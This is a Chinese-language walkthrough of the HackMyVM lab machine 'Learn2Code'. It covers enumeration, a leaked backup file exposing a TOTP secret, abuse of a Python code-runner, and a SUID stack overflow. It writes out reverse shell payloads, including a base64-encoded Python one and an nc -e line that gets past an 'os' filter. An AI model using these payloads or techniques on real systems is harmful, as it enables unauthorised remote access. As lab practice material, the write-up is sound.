hmv[-_-]Learn2Code
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201
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0
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CP,penetration test,REVERSE,WEB

1153 字
|
34 分钟

Learn2Code

image-20240418131317889

image-20240418131453754

信息搜集

端口扫描

rustscan -a 192.168.0.139 -- -A

Open 192.168.0.139:80

PORT   STATE SERVICE REASON  VERSION
80/tcp open  http    syn-ack Apache httpd 2.4.38 ((Debian))
|_http-title: Access system
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.38 (Debian)

目录扫描

┌──(kali💀kali)-[~/temp/learn2code]
└─$ gobuster dir -u http://192.168.0.139 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,zip,git,jpg,txt,png
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.0.139
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Extensions:              png,php,zip,git,jpg,txt
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/index.php            (Status: 200) [Size: 1161]
/.php                 (Status: 403) [Size: 278]
/includes             (Status: 301) [Size: 317] [--> http://192.168.0.139/includes/]
/todo.txt             (Status: 200) [Size: 51]
/.php                 (Status: 403) [Size: 278]
/server-status        (Status: 403) [Size: 278]
Progress: 1543920 / 1543927 (100.00%)
===============================================================
Finished
===============================================================

漏洞发现

踩点

image-20240418131631863

image-20240418131640776

image-20240418131704529

查看敏感目录

http://192.168.0.139/todo.txt
******* Remember to delete the bak files!! *******

重新扫描，尝试找到这个bak。

┌──(kali💀kali)-[~/temp/learn2code]
└─$ gobuster dir -u http://192.168.0.139 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x bak                    
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.0.139
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Extensions:              bak
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/includes             (Status: 301) [Size: 317] [--> http://192.168.0.139/includes/]
/server-status        (Status: 403) [Size: 278]
Progress: 441120 / 441122 (100.00%)
===============================================================
Finished
===============================================================

搜索敏感目录：

image-20240418132523287

image-20240418132552442

image-20240418132607533

┌──(kali💀kali)-[~/temp/learn2code]
└─$ wget http://192.168.0.139/includes/php/access.php.bak                                                                             
--2024-04-18 01:26:48--  http://192.168.0.139/includes/php/access.php.bak
Connecting to 192.168.0.139:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 319 [application/x-trash]
Saving to: ‘access.php.bak’

access.php.bak                        100%[=========================================================================>]     319  --.-KB/s    in 0s      

2024-04-18 01:26:48 (49.8 MB/s) - ‘access.php.bak’ saved [319/319]

┌──(kali💀kali)-[~/temp/learn2code]
└─$ cat access.php.bak   
<?php
        require_once 'GoogleAuthenticator.php';
        $ga = new PHPGangsta_GoogleAuthenticator();
        $secret = "S4I22IG3KHZIGQCJ";

        if ($_POST['action'] == 'check_code') {
                $code = $_POST['code'];
                $result = $ga->verifyCode($secret, $code, 1);

                if ($result) {
                        include('coder.php');
                } else {
                        echo "wrong";
                }
        }
?> 
http://192.168.0.139/includes/php/coder.php
Don't be a cheater!
http://192.168.0.139/includes/php/runcode.php
Don't be a cheater!

尝试fuzz一下：

┌──(kali💀kali)-[~/temp/learn2code]
└─$ ffuf -u http://192.168.0.139/FUZZ -w /usr/share/wordlists/dirb/common.txt -e .bak

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://192.168.0.139/FUZZ
 :: Wordlist         : FUZZ: /usr/share/wordlists/dirb/common.txt
 :: Extensions       : .bak 
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________

                        [Status: 200, Size: 1161, Words: 49, Lines: 33, Duration: 2ms]
.htpasswd               [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 1ms]
.htaccess.bak           [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 1ms]
.htaccess               [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 2ms]
.hta.bak                [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 2ms]
.hta                    [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 2ms]
.htpasswd.bak           [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 243ms]
includes                [Status: 301, Size: 317, Words: 20, Lines: 10, Duration: 1ms]
index.php               [Status: 200, Size: 1161, Words: 49, Lines: 33, Duration: 0ms]
server-status           [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 1ms]
:: Progress: [9228/9228] :: Job [1/1] :: 53 req/sec :: Duration: [0:00:04] :: Errors: 0 ::

GoogleAuthenticator

image-20240420153041477

然后，我咨询了一下Eriman和rpj7：

image-20240420154911538

image-20240420154936021

懂了。。。https://github.com/PHPGangsta/GoogleAuthenticator/blob/master/PHPGangsta/GoogleAuthenticator.php

下载下来，然后插入我们的代码跑一下：

┌──(kali💀kali)-[~/temp/learn2code]
└─$ php temp.php
845058                                                                                                                                                        
┌──(kali💀kali)-[~/temp/learn2code]
└─$ tail -n 20 temp.php

        $result = 0;

        for ($i = 0; $i < $userLen; ++$i) {
            $result |= (ord($safeString[$i]) ^ ord($userString[$i]));
        }

        // They are only identical strings if $result is exactly 0...
        return $result === 0;
    }
}

?>
<?php
    $ga = new PHPGangsta_GoogleAuthenticator();
    $secret = "S4I22IG3KHZIGQCJ";
    $code = $ga->getCode($secret);
    echo $code
?>

这个东西时刻会变的，如果wrong了，就重新搞一个！

image-20240420161705171

但是不管搞啥都没有回显，尝试进行反弹shell！但是都没有执行成功。

听Eriman爷说可能要用python的反弹shell：

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.0.143",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

还得编码一下：

image-20240420163658652

python -c 'exec "cHl0aG9uIC1jICdpbXBvcnQgc29ja2V0LHN1YnByb2Nlc3Msb3M7cz1zb2NrZXQuc29ja2V0KHNvY2tldC5BRl9JTkVULHNvY2tldC5TT0NLX1NUUkVBTSk7cy5jb25uZWN0KCgiMTkyLjE2OC4wLjE0MyIsMTIzNCkpO29zLmR1cDIocy5maWxlbm8oKSwwKTsgb3MuZHVwMihzLmZpbGVubygpLDEpOyBvcy5kdXAyKHMuZmlsZW5vKCksMik7cD1zdWJwcm9jZXNzLmNhbGwoWyIvYmluL3NoIiwiLWkiXSk7Jw==".decode("base64")'

然后我多番尝试无果以后重启了靶机，在主页进行了操作，有了回显：

image-20240420171032153

image-20240420171109280

所以想到python。。。。我真的是个大呆批。。。

image-20240420171237405

进行抓包：

POST /includes/php/runcode.php HTTP/1.1
Host: 192.168.0.139
Content-Length: 29
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36
Content-type: application/x-www-form-urlencoded
Accept: */*
Origin: http://192.168.0.139
Referer: http://192.168.0.139/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=0epcnghs4sn67tv9sao8bni1li
Connection: close

action=run_code&code=print(1)

尝试发送反弹shell，经测试对os模块敏感：

POST /includes/php/runcode.php HTTP/1.1
Host: 192.168.0.139
Content-Length: 103
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36
Content-type: application/x-www-form-urlencoded
Accept: */*
Origin: http://192.168.0.139
Referer: http://192.168.0.139/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=0epcnghs4sn67tv9sao8bni1li
Connection: close

action=run_code&code=a='o'+'s';mod=__import__(a);mod.popen('nc+-e+/bin/bash+192.168.0.143+1234').read()

构造好以后进行传，发现成功反弹shell！！！！

image-20240420174153765

提权

信息搜集

(remote) www-data@Learn2Code:/var/www/html/includes/php$ ls
GoogleAuthenticator.php  access.php  access.php.bak  coder.php  runcode.php
(remote) www-data@Learn2Code:/var/www/html/includes/php$ sudo -l 
bash: sudo: command not found
(remote) www-data@Learn2Code:/var/www/html/includes/php$ cd ../../  
(remote) www-data@Learn2Code:/var/www/html$ ls -la
total 20
drwxr-xr-x 3 root     root     4096 Sep 29  2020 .
drwxr-xr-x 3 root     root     4096 Sep 28  2020 ..
dr-xr-xr-x 5 www-data www-data 4096 Sep 28  2020 includes
-r-xr-xr-x 1 www-data www-data 1161 Sep 28  2020 index.php
-rw-r--r-- 1 root     root       51 Sep 29  2020 todo.txt
(remote) www-data@Learn2Code:/var/www/html$ cd ../../
(remote) www-data@Learn2Code:/var$ ls -la
total 48
drwxr-xr-x 12 root root  4096 Sep 28  2020 .
drwxr-xr-x 18 root root  4096 Sep 28  2020 ..
drwxr-xr-x  2 root root  4096 Apr 20 03:09 backups
drwxr-xr-x 10 root root  4096 Sep 28  2020 cache
drwxr-xr-x 27 root root  4096 Sep 28  2020 lib
drwxrwsr-x  2 root staff 4096 Sep 19  2020 local
lrwxrwxrwx  1 root root     9 Sep 28  2020 lock -> /run/lock
drwxr-xr-x  6 root root  4096 Apr 20 03:04 log
drwxrwsr-x  2 root mail  4096 Sep 28  2020 mail
drwxr-xr-x  2 root root  4096 Sep 28  2020 opt
lrwxrwxrwx  1 root root     4 Sep 28  2020 run -> /run
drwxr-xr-x  5 root root  4096 Sep 28  2020 spool
drwxrwxrwt  2 root root  4096 Apr 20 05:08 tmp
drwxr-xr-x  3 root root  4096 Sep 28  2020 www
(remote) www-data@Learn2Code:/var$ cd backups/
(remote) www-data@Learn2Code:/var/backups$ ls -la
total 764
drwxr-xr-x  2 root root     4096 Apr 20 03:09 .
drwxr-xr-x 12 root root     4096 Sep 28  2020 ..
-rw-r--r--  1 root root    40960 Sep 28  2020 alternatives.tar.0
-rw-r--r--  1 root root    10163 Sep 28  2020 apt.extended_states.0
-rw-r--r--  1 root root      186 Sep 28  2020 dpkg.diversions.0
-rw-r--r--  1 root root      126 Sep 28  2020 dpkg.diversions.1.gz
-rw-r--r--  1 root root      126 Sep 28  2020 dpkg.diversions.2.gz
-rw-r--r--  1 root root      126 Sep 28  2020 dpkg.diversions.3.gz
-rw-r--r--  1 root root      172 Sep 28  2020 dpkg.statoverride.0
-rw-r--r--  1 root root      161 Sep 28  2020 dpkg.statoverride.1.gz
-rw-r--r--  1 root root      161 Sep 28  2020 dpkg.statoverride.2.gz
-rw-r--r--  1 root root      161 Sep 28  2020 dpkg.statoverride.3.gz
-rw-r--r--  1 root root   361448 Sep 28  2020 dpkg.status.0
-rw-r--r--  1 root root   100870 Sep 28  2020 dpkg.status.1.gz
-rw-r--r--  1 root root   100870 Sep 28  2020 dpkg.status.2.gz
-rw-r--r--  1 root root   100612 Sep 28  2020 dpkg.status.3.gz
-rw-------  1 root root      785 Sep 28  2020 group.bak
-rw-------  1 root shadow    665 Sep 28  2020 gshadow.bak
-rw-------  1 root root     1443 Sep 28  2020 passwd.bak
-rw-------  1 root shadow    951 Sep 28  2020 shadow.bak
(remote) www-data@Learn2Code:/var/backups$ cat gshadow.bak 
cat: gshadow.bak: Permission denied
(remote) www-data@Learn2Code:/var/backups$ cat shadow.bak 
cat: shadow.bak: Permission denied
(remote) www-data@Learn2Code:/var/backups$ cd /home
(remote) www-data@Learn2Code:/home$ id 
uid=33(www-data) gid=33(www-data) groups=33(www-data)
(remote) www-data@Learn2Code:/home$ ls -la
total 12
drwxr-xr-x  3 root    root    4096 Sep 28  2020 .
drwxr-xr-x 18 root    root    4096 Sep 28  2020 ..
dr-x------  2 learner learner 4096 Sep 28  2020 learner
(remote) www-data@Learn2Code:/home$ cd learner/
bash: cd: learner/: Permission denied
(remote) www-data@Learn2Code:/home$ find / -perm -u=s -type f 2>/dev/null
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/eject/dmcrypt-get-device
/usr/lib/openssh/ssh-keysign
/usr/bin/chsh
/usr/bin/mount
/usr/bin/passwd
/usr/bin/su
/usr/bin/newgrp
/usr/bin/umount
/usr/bin/gpasswd
/usr/bin/MakeMeLearner
/usr/bin/chfn
(remote) www-data@Learn2Code:/home$ ls -l /usr/bin/MakeMeLearner
-r-sr-sr-x 1 root www-data 16864 Sep 28  2020 /usr/bin/MakeMeLearner
(remote) www-data@Learn2Code:/home$ /usr/bin/MakeMeLearner
MakeMeLearner: please specify an argument

(remote) www-data@Learn2Code:/home$ /usr/bin/MakeMeLearner -h
Change the 'modified' variable value to '0x61626364' to be a learnerTry again, you got 0x00000000
(remote) www-data@Learn2Code:/home$ file /usr/bin/MakeMeLearner
/usr/bin/MakeMeLearner: setuid, setgid ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=bb387daabdaf0f68bfa1a29f8b8190c076dd6ad8, for GNU/Linux 3.2.0, not stripped
(remote) www-data@Learn2Code:/home$ /usr/bin/MakeMeLearner aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Change the 'modified' variable value to '0x61626364' to be a learnerTry again, you got 0x61616161
Segmentation fault

栈溢出

下载到本地看一下：

int __cdecl main(int argc, const char **argv, const char **envp)
{
  __int64 v3; // ST00_8
  char dest; // [rsp+10h] [rbp-50h]
  unsigned int v6; // [rsp+5Ch] [rbp-4h]

  if ( argc == 1 )
    errx(1, "please specify an argument\n", envp, argv);
  printf("Change the 'modified' variable value to '0x61626364' to be a learner", argv, envp, argv);
  v6 = 0;
  strcpy(&dest, *(const char **)(v3 + 8));
  if ( v6 == 'abcd' )     # 原来是1633837924，我改成字符串了
  { 
    setuid(0x3E8u);
    setgid(0x3E8u);
    system("/bin/bash");
  }
  else
  {
    printf("Try again, you got 0x%08x\n", v6);
  }
  return 0;
}

image-20240420175715938

是一个简单的溢出漏洞，如果不会阔以参考：https://www.kayssel.com/post/binary-exploitation-5-smash-the-stack/

先看一下偏移量：

┌──(kali💀kali)-[~/temp/learn2code]
└─$ locate pattern_create       
/usr/bin/msf-pattern_create
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb

┌──(kali💀kali)-[~/temp/learn2code]
└─$ /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 300
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9

┌──(kali💀kali)-[~/temp/learn2code]
└─$ gdb-peda -q MakeMeLearner                                             
Reading symbols from MakeMeLearner...
(No debugging symbols found in MakeMeLearner)
[----------------------------------registers-----------------------------------]
RAX: 0x0 
RBX: 0x7fffffffe118 --> 0x7fffffffe3d4 ("/home/kali/temp/learn2code/MakeMeLearner")
RCX: 0x0 
RDX: 0x0 
RSI: 0x5555555592a0 ("Change the 'modified' variable value to '0x61626364' to be a learnerTry again, you got 0x63413563\n")
RDI: 0x7fffffffddc0 --> 0x7fffffffddf0 ("Try again, you got 0x63413563\n value to '0x61626364' to be a learner")
RBP: 0x4138634137634136 ('6Ac7Ac8A')
RSP: 0x7fffffffe008 ("c9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5"...)
RIP: 0x55555555522a (<main+165>:        ret)
R8 : 0x78 ('x')
R9 : 0x0 
R10: 0x0 
R11: 0x202 
R12: 0x0 
R13: 0x7fffffffe130 --> 0x7fffffffe52a ("LESS_TERMCAP_se=\033[0m")
R14: 0x0 
R15: 0x7ffff7ffd000 --> 0x7ffff7ffe2c0 --> 0x555555554000 --> 0x10102464c457f
EFLAGS: 0x10202 (carry parity adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x55555555521f <main+154>:   call   0x555555555060 <printf@plt>
   0x555555555224 <main+159>:   mov    eax,0x0
   0x555555555229 <main+164>:   leave
=> 0x55555555522a <main+165>:   ret
   0x55555555522b:      nop    DWORD PTR [rax+rax*1+0x0]
   0x555555555230 <__libc_csu_init>:    push   r15
   0x555555555232 <__libc_csu_init+2>:  lea    r15,[rip+0x2baf]        # 0x555555557de8
   0x555555555239 <__libc_csu_init+9>:  push   r14
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffe008 ("c9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5"...)
0008| 0x7fffffffe010 ("Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj"...)
0016| 0x7fffffffe018 ("4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9")
0024| 0x7fffffffe020 ("d7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9")
0032| 0x7fffffffe028 ("Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9")
0040| 0x7fffffffe030 ("2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9")
0048| 0x7fffffffe038 ("e5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9")
0056| 0x7fffffffe040 ("Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x000055555555522a in main ()

┌──(kali💀kali)-[~/temp/learn2code]
└─$ /usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 0x63413563          
[*] Exact match at offset 76

偏移量为76，进行覆盖即可：

┌──(kali💀kali)-[~/temp/learn2code]
└─$ gdb-peda -q MakeMeLearner
Reading symbols from MakeMeLearner...
(No debugging symbols found in MakeMeLearner)
gdb-peda$ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Undefined command: "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".  Try "help".
gdb-peda$ run AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB
Starting program: /home/kali/temp/learn2code/MakeMeLearner AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Change the 'modified' variable value to '0x61626364' to be a learnerTry again, you got 0x42424242
[Inferior 1 (process 164738) exited normally]

成功了！注意到栈是先入后出的，所以最后要搞成dcba！！！！

image-20240420191648559

切换到learner用户！

信息搜集

learner@Learn2Code:/home/learner$ ls -la
total 44
dr-x------ 2 learner learner  4096 Sep 28  2020 .
drwxr-xr-x 3 root    root     4096 Sep 28  2020 ..
lrwxrwxrwx 1 root    root        9 Sep 28  2020 .bash_history -> /dev/null
-rw-r--r-- 1 learner learner   220 Sep 28  2020 .bash_logout
-rw-r--r-- 1 learner learner  3526 Sep 28  2020 .bashrc
-rw-r--r-- 1 learner learner   807 Sep 28  2020 .profile
-r-x------ 1 learner learner 16608 Sep 28  2020 MySecretPasswordVault
-r-------- 1 learner learner    14 Sep 28  2020 user.txt
learner@Learn2Code:/home/learner$ cat user.txt 
N1c3m0veMat3!
learner@Learn2Code:/home/learner$ file MySecretPasswordVault 
MySecretPasswordVault: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=b5e1610477a68b69b4704729822b01c6e958cdae, for GNU/Linux 3.2.0, not stripped

运行一下：

learner@Learn2Code:/home/learner$ ./MySecretPasswordVault 
If you are a learner, i'm sure you know what to do with me.

搞到本地反编译一下：

int __cdecl main(int argc, const char **argv, const char **envp)
{
  puts("If you are a learner, i'm sure you know what to do with me.");
  return 0;
}

没东西，继续搜集信息：

learner@Learn2Code:/home/learner$ ls
MySecretPasswordVault  user.txt
learner@Learn2Code:/home/learner$ cd /home
learner@Learn2Code:/home$ ls -la
total 12
drwxr-xr-x  3 root    root    4096 Sep 28  2020 .
drwxr-xr-x 18 root    root    4096 Sep 28  2020 ..
dr-x------  2 learner learner 4096 Sep 28  2020 learner
learner@Learn2Code:/home$ cd /
learner@Learn2Code:/$ ls -la
total 68
drwxr-xr-x 18 root root  4096 Sep 28  2020 .
drwxr-xr-x 18 root root  4096 Sep 28  2020 ..
lrwxrwxrwx  1 root root     7 Sep 28  2020 bin -> usr/bin
drwxr-xr-x  3 root root  4096 Sep 28  2020 boot
drwxr-xr-x 17 root root  3180 Apr 20 05:08 dev
drwxr-xr-x 75 root root  4096 Apr 20 05:08 etc
drwxr-xr-x  3 root root  4096 Sep 28  2020 home
lrwxrwxrwx  1 root root    31 Sep 28  2020 initrd.img -> boot/initrd.img-4.19.0-11-amd64
lrwxrwxrwx  1 root root    31 Sep 28  2020 initrd.img.old -> boot/initrd.img-4.19.0-11-amd64
lrwxrwxrwx  1 root root     7 Sep 28  2020 lib -> usr/lib
lrwxrwxrwx  1 root root     9 Sep 28  2020 lib32 -> usr/lib32
lrwxrwxrwx  1 root root     9 Sep 28  2020 lib64 -> usr/lib64
lrwxrwxrwx  1 root root    10 Sep 28  2020 libx32 -> usr/libx32
drwx------  2 root root 16384 Sep 28  2020 lost+found
drwxr-xr-x  3 root root  4096 Sep 28  2020 media
drwxr-xr-x  2 root root  4096 Sep 28  2020 mnt
drwxr-xr-x  2 root root  4096 Sep 28  2020 opt
dr-xr-xr-x 90 root root     0 Apr 20 05:08 proc
drwx------  3 root root  4096 Sep 28  2020 root
drwxr-xr-x 15 root root   440 Apr 20 05:08 run
lrwxrwxrwx  1 root root     8 Sep 28  2020 sbin -> usr/sbin
drwxr-xr-x  2 root root  4096 Sep 28  2020 srv
dr-xr-xr-x 13 root root     0 Apr 20 05:08 sys
drwxrwxrwt  2 root root  4096 Apr 20 05:08 tmp
drwxr-xr-x 13 root root  4096 Sep 28  2020 usr
drwxr-xr-x 12 root root  4096 Sep 28  2020 var
lrwxrwxrwx  1 root root    28 Sep 28  2020 vmlinuz -> boot/vmlinuz-4.19.0-11-amd64
lrwxrwxrwx  1 root root    28 Sep 28  2020 vmlinuz.old -> boot/vmlinuz-4.19.0-11-amd64
learner@Learn2Code:/$ cd opt
learner@Learn2Code:/opt$ ls- la
bash: ls-: command not found
learner@Learn2Code:/opt$ ls -la
total 8
drwxr-xr-x  2 root root 4096 Sep 28  2020 .
drwxr-xr-x 18 root root 4096 Sep 28  2020 ..
learner@Learn2Code:/opt$ cd ../run
learner@Learn2Code:/run$ ls -la
total 16
drwxr-xr-x 15 root root  440 Apr 20 05:08 .
drwxr-xr-x 18 root root 4096 Sep 28  2020 ..
-rw-------  1 root root    0 Apr 20 05:08 agetty.reload
drwxr-xr-x  2 root root   60 Apr 20 05:08 apache2
drwxr-xr-x  2 root root   80 Apr 20 05:08 console-setup
-rw-r--r--  1 root root    4 Apr 20 05:08 crond.pid
----------  1 root root    0 Apr 20 05:08 crond.reboot
drwxr-xr-x  2 root root   60 Apr 20 05:08 dbus
-rw-r--r--  1 root root    4 Apr 20 05:08 dhclient.enp0s3.pid
prw-------  1 root root    0 Apr 20 05:08 initctl
drwxr-xr-x  2 root root   80 Apr 20 05:08 initramfs
drwxrwxrwt  4 root root   80 Apr 20 05:08 lock
drwxr-xr-x  3 root root   60 Apr 20 05:08 log
drwxr-xr-x  2 root root   40 Apr 20 05:08 mount
drwxr-xr-x  2 root root  120 Apr 20 05:08 network
drwxr-xr-x  2 root root   40 Apr 20 05:08 sendsigs.omit.d
lrwxrwxrwx  1 root root    8 Apr 20 05:08 shm -> /dev/shm
drwxr-xr-x 16 root root  380 Apr 20 05:08 systemd
drwxr-xr-x  2 root root   60 Apr 20 05:08 tmpfiles.d
drwxr-xr-x  7 root root  180 Apr 20 05:43 udev
drwxr-xr-x  2 root root   40 Apr 20 05:08 user
-rw-rw-r--  1 root utmp 1152 Apr 20 05:08 utmp
learner@Learn2Code:/run$ cd user/
learner@Learn2Code:/run/user$ ls -la
total 0
drwxr-xr-x  2 root root  40 Apr 20 05:08 .
drwxr-xr-x 15 root root 440 Apr 20 05:08 ..
learner@Learn2Code:/run/user$ cd ..
learner@Learn2Code:/run$ file utmp
utmp: firmware 0 v0 (revision 0)   V2, 0 bytes or less, at 0x0 0 bytes , at 0x0 0 bytes 
